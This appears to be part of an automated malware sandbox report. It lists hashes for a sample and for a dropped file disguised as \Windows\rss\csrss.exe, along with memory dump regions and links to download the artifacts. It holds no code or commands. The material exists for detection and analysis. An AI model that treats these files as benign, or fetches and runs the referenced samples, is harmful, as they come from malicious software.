MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
MD5
ca428635b70d5314dc97c8d22c66e0d5

SHA1
1eb3b6220ec71d758761fdc36a6b579947b6b6c3

SHA256
cd689e05263e010dd9c23607c7d8dee3e4d5c536232e8db22e9221bfbfe834ff

SHA512
ca8670e93d84dcd9afe358fc2d862aa746305356909644e4509970b0b098f762a7258f79d826954cb3cd7b531bf8f2d597f59b3d5a1705a10804f83cbfeb2d67

Download Submit
\Windows\rss\csrss.exe
MD5
ca428635b70d5314dc97c8d22c66e0d5

SHA1
1eb3b6220ec71d758761fdc36a6b579947b6b6c3

SHA256
cd689e05263e010dd9c23607c7d8dee3e4d5c536232e8db22e9221bfbfe834ff

SHA512
ca8670e93d84dcd9afe358fc2d862aa746305356909644e4509970b0b098f762a7258f79d826954cb3cd7b531bf8f2d597f59b3d5a1705a10804f83cbfeb2d67

Download Submit
memory/564-28-0x000007FEF7E60000-0x000007FEF80DA000-memory.dmp

Filesize
2.5MB

Download
memory/816-12-0x0000000000000000-mapping.dmp

Download
memory/1148-13-0x0000000000000000-mapping.dmp

Download
memory/1340-16-0x0000000000000000-mapping.dmp

Download
memory/1340-19-0x0000000004EF0000-0x0000000004F01000-memory.dmp

Filesize
68KB

Download
memory/1340-18-0x0000000004B40000-0x0000000004EE7000-memory.dmp

Filesize
3.7MB

Download
memory/1928-11-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/1928-10-0x0000000004CF0000-0x0000000004D01000-memory.dmp

Filesize
68KB

Download
memory/1928-9-0x0000000004940000-0x0000000004CE7000-memory.dmp

Filesize
3.7MB

Download
memory/2036-0-0x0000000004AE0000-0x0000000004E87000-memory.dmp

Filesize
3.7MB

Download
memory/2036-2-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2036-1-0x0000000004E90000-0x0000000004EA1000-memory.dmp

Filesize
68KB

Download